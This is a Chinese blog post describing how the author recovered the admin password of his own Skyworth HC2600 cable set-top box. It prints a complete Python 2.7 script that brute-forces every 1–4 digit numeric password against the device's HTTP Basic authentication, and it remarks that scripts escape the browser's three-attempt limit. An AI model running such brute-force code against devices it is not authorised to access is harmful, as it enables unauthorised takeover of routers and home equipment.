zoukankan      html  css  js  c++  java
  • [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能。

    免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 2.4 GHz 频段下 802.11n 150 Mbps 速率的传输。2.4 GHz 频段本来就很拥挤,用户体验并不好,要是和支持 802.11 ac 的双频无线路由器混用的话,恐怕反而会因为干扰起到反作用。

    然而要对 HC2600 机顶盒作任何配置修改,都需要管理员密码。网上搜索到 HC2600 的管理员用户名貌似是 admin (后来证实也的确如此),但是密码则无法确定。

    所以我就编写了一个 Python 脚本进行暴力尝试。破解步骤如下:

    首先把电脑通过网线连接到机顶盒的 Ethernet 接口,电脑会通过 DHCP 自动获取得到 IP 地址。

    然后安装最新版的 Python 2.7,并且新建一个文件 tvbox.py 输入以下内容:

    import base64, socket, urllib2
    
    def login(url, username, password):
        while True:
            try:
                request1 = urllib2.Request(url)
                response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
            except socket.timeout, e: # timeout handler for Python 2.7
                print "Login timedout"
                continue
            except urllib2.URLError, e:
                if e.code != 401:
                    raise
                else:
                    break
    
        while True:
            try:
                request2 = urllib2.Request(url)
                base64string = base64.encodestring('%s:%s' % (username, password)).replace('
    ', '')
                request2.add_header("Authorization", "Basic %s" % base64string)
                response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
                return True
            except socket.timeout, e: # timeout handler for Python 2.7
                print "Login timedout"
                continue
            except urllib2.URLError, e:
                if e.code == 401:
                    return False
    
    def main():
        for length in range(1, 5):
            end = 10 ** length
    
            print "Trying length %d (start = 0, end = %d)" % (length, end)
    
            for i in range(0, end):
                pattern = "%%0%dd" % length
                password = pattern % i
    
                if login("http://192.168.99.1", "admin", password):
                    print "Password found: %s" % password
                    break
                else:
                    print "%s" % password
    
    main()
    

    上面的文件中,假定机顶盒中路由器的地址是 192.168.99.1,如果你的配置不同,需要修改  tvbox.py 中第 41 行代码。

    确定无误后,运行 tvbox.py 即可。

    上面的脚本尝试了 0-9、00-99、000-999、0000-9999 这 11110 个纯数字密码,目测破解速度在每秒 100 次左右。

    PS:如果使用浏览器尝试登录,密码错误三次后需要刷新才能继续尝试。这是浏览器设定的限制,使用脚本的话并没有这样的限制。

    ……

    结果出乎意料,很快密码就出来了:0000,多亏了安装人员图省事。要是真的要扫遍 8 位纯数字密码的所有可能性,恐怕要花十几天。

    小提示:上面的脚本只适用于 Python 2.7,如果你用的是其它版本,可能需要对代码做少许修改。

  • 相关阅读:
    Asp.net性能优化总结(一)
    Visual C#常用函数和方法集汇总
    ASP.net下大文件上传的解决方案及WebbUpload组件源码
    正则表达式学习
    在Asp.net中为图像加入版权信息
    Cognos 维度函数
    Cognos8.3函数使用手册(二)
    cognos更新步聚
    Cognos8.3函数使用手册(一)
    Cognos 8 报表备份和恢复
  • 原文地址:https://www.cnblogs.com/F-32/p/5189173.html
Copyright © 2011-2022 走看看